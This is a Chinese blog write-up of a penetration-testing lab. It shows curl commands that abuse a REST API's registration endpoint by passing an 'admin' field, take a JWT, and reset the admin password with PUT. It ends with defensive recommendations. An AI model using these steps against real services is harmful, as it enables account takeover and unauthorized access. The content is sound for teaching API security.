网站建设 杭州市萧山区,趣味网页制作,企业官网的应用场景,简单网站开发项目实例郑重声明#xff1a; 本文所有安全知识与技术#xff0c;仅用于探讨、研究及学习#xff0c;严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任#xff0c;本人不承担任何责任。 如需转载#xff0c;请注明出处且不得用于商业盈利。 … 郑重声明 本文所有安全知识与技术仅用于探讨、研究及学习严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任本人不承担任何责任。 如需转载请注明出处且不得用于商业盈利。 点赞❤️ 关注 收藏⭐️ 评论 更多文章戳Whoami-CSDN博客 嘿经过前面的预热我们正式打开这扇门来吧 , - ! → 信息收集 → 漏洞检测 → 初始立足点 → 权限提升 ▸WEB应用攻击▸利用REST API提权-----我们在这儿~ → 横向移动 → 报告/分析 → 教训/修复 目录
1.利用REST API提权
1.1 攻击流程总览
1.2 攻击步骤
1.2.1 API端点发现与分析方法
1.2.2 深度枚举与功能推测
1.2.3 正确API请求构造
1.2.4 发现注册功能漏洞users/v1/register
1.2.5 注册管理员账户实现关键权限
1.2.6 获取身份认证令牌
1.2.7 修改用户admin密码
1.2.8 使用新密码成功登录admin账户
1.3 防御建议
1.3.1 漏洞根本原因分析
1.3.2 即时防护措施
1.3.3 长期加固策略
创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论 1.利用REST API提权
该案例展示了不安全的API设计如何导致整个系统沦陷。详细分析了通过API枚举发现漏洞并利用逻辑缺陷实现权限提升的完整攻击过程。
1.1 攻击流程总览
1.2 攻击步骤
1.2.1 API端点发现与分析方法
接上一回users/v1/admin/password的api内容
kalikali:~$ curl -i http://192.168.50.16:5002/users/v1/admin/password
HTTP/1.0 405 METHOD NOT ALLOWED
Content-Type: application/problemjson
Content-Length: 142
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 10:58:51 GMT
{detail: The method is not allowed for the requested URL.,status: 405,title: Method Not Allowed, # 这意味着请求的URL存在但我们的HTTP方法不受支持。type: about:blank
}
初始发现 响应码为 405 Method Not Allowed 而非404确认端点存在但http方法不正确。 若响应码是404 Not Found表示URL不存在。 默认情况下curl在执行请求时使用GET方法只是获取因此可以尝试使用不同的方法例如POST或PUT与password API进行交互。 推测如果在此特定API上允许使用POST和PUT方法这两种http方法可以覆盖用户凭据在本例中为管理密码。 1.2.2 深度枚举与功能推测
进一步枚举发现以下api命令过程省略 /users/v1/login - 用户登录端点 /users/v1/register - 用户注册端点
测试登录功能users/v1/login
login是尝试猜测的路径盲猜通常这可能是一个用于登录操作的API端点。
kalikali:~$ curl -i http://192.168.50.16:5002/users/v1/login# -i输出响应头响应主体如果无-i仅输出响应主体。
HTTP/1.0 404 NOT FOUND
Content-Type: application/json
Content-Length: 48
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 12:04:30 GMT{ status: fail, message: User not found} # 404的原因是用户不存在 响应分析盲猜login是登录页面是对的。虽然返回404但错误信息user not found暗示API端点有效但参数有问题。 也就是说我们的请求有问题但API本身并不存在问题。换句话说我们需要找到一种正确的方式来与API进行交互才能成功获取想要的结果。 1.2.3 正确API请求构造
尝试登录验证使用之前发现的users/v1的API下发现用户账户admin。
kalikali:~$ curl -d {password:fake,username:admin} -H Content-Type:
application/json http://192.168.50.16:5002/users/v1/login参数说明-d 进行post请求。后面跟着json格式的请求内容即username和password的值。 -H 指定请求头的Content-Type 为 application/json类型键值对格式。 http... 把这个请求推送到目标API/users/v1/login。
响应结果用户名admin存在API参数格式正确仅密码错误需要输入正确密码才能登录成功。
{ status: fail, message: Password is not correct for the given username.} 重要 通过这一步目的是构造API请求格式以上的反馈说明请求格式正确仅只是密码错误而已。如果格式不正确返回的肯定不是提示密码不正确。 1.2.4 发现注册功能漏洞users/v1/register 思路 由于我们不知道管理员的密码尝试另一条路线可否注册新用户如果注册成功则就可以使用新用户登录而获得权限。 尝试注册新用户尝试构建注册请求初始响应提示缺少必填字段email
kalikali:~$ curl -d {password:lab,username:offsecadmin} -H Content-Type:
application/json http://192.168.50.16:5002/users/v1/register{ status: fail, message: email is a required property}# 根据message反馈注册失败原因email是一个必填的属性需要补充上email字段内容。
添加必需字段后用户名offsecadmin注册成功证明API参数正确形成。
kalikali:~$curl -d
{password:lab,username:offsecadmin,email:123offsec.com} -H
Content-Type: application/json http://192.168.50.16:5002/users/v1/register
{message: Successfully registered. Login to receive an auth token., status:
success} 1.2.5 注册管理员账户实现关键权限 推测 让我们尝试添加admin字段后面跟着一个True值来表示这个用户是管理员可能是权限设置的一部分。这一步需要靠经验靠尝试 尝试注册管理员账户
kalikali:~$curl -d
{password:lab,username:offsec,email:pwnoffsec.com,admin:True} -H
Content-Type: application/json http://192.168.50.16:5002/users/v1/register{message: Successfully registered. Login to receive an auth token., status:
success}
漏洞利用成功注册具有管理员权限的用户offsec暴露严重的权限控制缺陷。这在设计上是不允许的。 1.2.6 获取身份认证令牌
使用刚刚新建管理员账户offsec登录获取token令牌
kalikali:~$curl -d {password:lab,username:offsec} -H Content-Type:
application/json http://192.168.50.16:5002/users/v1/login# 成功登录并获取token令牌供后续利用
{auth_token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwi
c3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew, message:
Successfully logged in., status: success}
成功获取JWT身份验证令牌用于后续特权操作。 1.2.7 修改用户admin密码
尝试修改密码
kalikali:~$ curl \http://192.168.50.16:5002/users/v1/admin/password \-H Content-Type: application/json \-H Authorization: OAuth
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic
3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew \-d {password: pwned}# 以下是响应内容说明修改密码的方法-dpost方法不对因此要尝试另一种方法比如put
{detail: The method is not allowed for the requested URL.,status: 405,title: Method Not Allowed,type: about:blank
}
参数说明http... 把这个请求推送到目标API/users/v1/admin/password修改用户admin密码的api。 -H 指定请求头的Content-Type 为 application/json类型键值对格式。 -HAuthorization: OAuth token: 请求头包含了 OAuth 认证令牌。该令牌用于验证请求的合法性和授权访问权限。OAuth 令牌通常表示当前用户已通过认证并获得对相关资源的访问权限这里填入的的token表明的是管理员权限。换句话说所有管理员的权限用token标识。-d 进行post请求体部分。表示你试图将管理员密码更新为 pwned。
方法调整服务器返回了一个错误响应应用程序表示使用的方法POST不正确所以尝试另一种方法。比如PUT方法以及PATCH方法通常用于替换一个值而不是通过POST请求创建一个值。所以尝试从POST改为PUT方法成功修改管理员密码。
kalikali:~$ curl -X PUT \http://192.168.50.16:5002/users/v1/admin/password \-H Content-Type: application/json \-H Authorization: OAuth
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic
3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4 \-d {password: pwned}
参数说明-X PUT 指定了HTTP请求方法为 PUT通常用于更新资源。
最终验证这次没有收到错误消息合理推测修改密码成功。 1.2.8 使用新密码成功登录admin账户
使用用户名admin密码pwned修改后的使用API/users/v1/login成功登录获得admin的管理员权限。
kalikali:~$ curl -d {password:pwned,username:admin} -H Content-Type:
application/json http://192.168.50.16:5002/users/v1/login{auth_token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzIxMjgsImlhdCI6MTY0OTI3MTgyOCwi
c3ViIjoiYWRtaW4ifQ.yNgxeIUH0XLElK95TCU88lQSLP6lCl7usZYoZDlUlo0, message:
Successfully logged in., status: success} 再次注意 我们会发现管理员admin反馈的token值和刚刚新建的管理员offsec是一样的。 进一步证明这个token用于证明是管理员权限用于授权使用。 1.3 防御建议
1.3.1 漏洞根本原因分析
漏洞类型具体表现安全影响权限控制缺失注册接口可设置admin字段严重API方法暴露未禁用危险HTTP方法高错误信息泄露详细错误消息暴露系统信息中参数验证不足缺乏输入验证和过滤高 1.3.2 即时防护措施 输入验证对所有API参数进行严格验证和过滤 ️ 权限检查服务器端验证用户权限不信任客户端提交的权限字段 方法限制禁用不必要的HTTP方法PUT、DELETE等 日志监控记录所有API访问和权限变更操作 1.3.3 长期加固策略 ✅ API安全设计遵循API安全最佳实践 身份验证强化实施强身份验证和授权机制 安全测试定期进行API安全测试和代码审计 开发培训提高开发人员安全编码意识 创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论
您的支持是我创作最大的动力